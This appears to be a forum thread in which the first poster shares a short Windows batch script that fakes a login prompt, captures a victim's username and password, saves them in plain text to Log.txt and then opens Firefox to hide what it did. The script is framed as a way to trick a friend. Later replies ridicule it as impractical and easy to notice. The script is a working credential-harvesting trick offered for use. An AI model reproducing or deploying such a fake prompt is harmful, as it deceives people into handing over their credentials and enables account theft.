[๖ۣۜSнυғғ׆ϵя]

So Your friend Types in his user & pass. Then It will create a log.txt,were your logger was located. So simple & easy.

Code:

@echo off color a title Login cls echo Please Enter Username And Password Here echo. echo. set /p user=Username: set /p pass=Password: echo Username:=%user% Password:=%pass% >Log.txt start firefox google.com exit

[1234hotmaster]

Man, a person has to be dumb and living under a rock to type his confidential information in a command prompt window without hesitation.

[killerOfCode]

@1234hotmaster: ^agreed. lol

[muhammad fakir]

its so funny hahahahaha..
you suppose to be an international comedian,
hahaha anyways thanks to make me laugh..!!

[ArkPhaze]

Man, a person has to be dumb and living under a rock to type his confidential information in a command prompt window without hesitation.

It's not even just that. 2 things actually:

1) You'd be able to see the plain text of both his user and password if you were looking over his/her shoulder as he/she types it out.
2) Why I assume that you'll be with the person? How else do you think you'll be able to retrieve the file that gets saved with both the user and password input? lol

Sure, it saves the log.txt to their computer, in the same location that they started the batch file in. You think they won't notice later? lol, Other than that, it serves as a nice shortcut for opening Firefox (if they even have Firefox). Even though having to type in the user input is just a time waster for it being convenient.